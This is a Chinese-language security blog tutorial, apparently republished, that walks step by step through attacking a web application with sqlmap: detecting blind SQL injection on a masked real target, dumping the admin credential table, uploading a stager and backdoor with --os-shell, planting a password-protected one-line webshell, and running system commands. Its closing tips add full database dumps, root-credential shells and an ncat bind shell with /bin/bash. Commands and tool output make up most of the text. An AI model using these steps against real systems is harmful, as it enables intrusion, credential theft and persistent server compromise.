本文作者:simeon
本文属于安全脉搏原创金币奖励计划文章,
sqlmap功能强大,在某些情况下,通过SQL注入可以直接获取webshell权限,甚至可以获取Windows或者Linux服务器权限。下面以一个实际案例来介绍如何获取服务器权限。
1、检测SQL注入点
SQL注入点可以通过扫描软件扫描,手工测试以及读取代码来判断,一旦发现存在SQL注入,可以直接进行检测,如图1所示,执行:
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263
可以获取信息:
web server operating system: Windows
web application technology: PHP 5.4.34, Apache 2.4.10
back-end DBMS: MySQL >= 5.0.12
通过提示信息可以知道该SQL注入点是基于时间的盲注。
图1检测当前SQL注入点是否可用
2、获取当前数据库信息
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 --current-db
获取当前数据库为“Sshgdsys”,如图2所示。
图2获取当前数据库
3、获取当前数据库表
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 -D sshgdsys --tables
基于时间注入:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '—time-sec')? [Y/n] y
图3获取数据库中的表
4、获取admins表列和数据
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 -D sshgdsys -T admins --columns
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 -D sshgdsys -T admins -C id,adminpass ,adminname —dump
5、获取webshell
(1)获取网站信息
能够获取webshell的前提是能够确定网站的真实路径以及目录权限可以写入。通常使用—os-shell参数来获取。执行命令:
sqlmap.py -u http://***.**.**.**:8081/sshgdsys/fb/modify.php?id=263 --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
选择web应用程序类型,选择4,开始获取网站的根目录,存在漏洞所在程序的路径,效果如图4所示。
[10:18:46] [INFO] retrieved the web server document root: 'E:xampphtdocs'
[10:18:46] [INFO] retrieved web server absolute paths: 'E:/xampp/htdocs/sshgdsys/fb/modify.php'
[10:18:46] [INFO] trying to upload the file stager on 'E:/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[10:18:48] [INFO] heuristics detected web page charset 'utf-8'
[10:18:48] [INFO] the file stager has been successfully uploaded on 'E:/xampp/htdocs/' - http://***.**.**.**:8081/tmpuqioc.php
[10:18:48] [INFO] heuristics detected web page charset 'ascii'
[10:18:48] [INFO] the backdoor has been successfully uploaded on 'E:/xampp/htdocs/' - http://***.**.**.**:8081/tmpbboab.php
[10:18:48] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
图4获取网站真实路径和当前目录
(2)获取webshell
在sqlmap命令提示窗口直接输入:
echo “” >1.php 在当前路径下生成1.php。
获取webshell: http://***.**.**.**:8081/1.php 一句话密码为:chopper
执行命令whomai即可获取系统权限,如图5所示。
图5获取系统权限
6、总结及技巧
(1)自动提交参数和智能进行注入:sqlmap.py -u url –batch –smart
(2)获取所有信息:sqlmap.py -u url –batch –smart -a
(3)导出数据库:sqlmap.py -u url -–dump-all
(4)直接连接数据库:python sqlmap.py -d “mysql://admin:admin@192.168.21.17:3306/testdb” -f –banner –dbs –users,例如root账号直接获取shell:
python sqlmap.py -d “mysql://root:123456@192.168.21.17:3306/mysql” –os-shell
(5)获取webshell: sqlmap.py -u url –os-shell
(6)linux下实现反弹:
ncat -l -p 2333 -e /bin/bash
ncat targetip 2333
注意:本文来自安全脉搏。本站无法对本文内容的真实性、完整性、及时性、原创性提供任何保证,请您自行验证核实并承担相关的风险与后果!
CoLaBug.com遵循[CC BY-SA 4.0]分享并保持客观立场,本站不承担此类作品侵权行为的直接责任及连带责任。您有版权、意见、投诉等问题,请通过[eMail]联系我们处理,如需商业授权请联系原作者/原网站。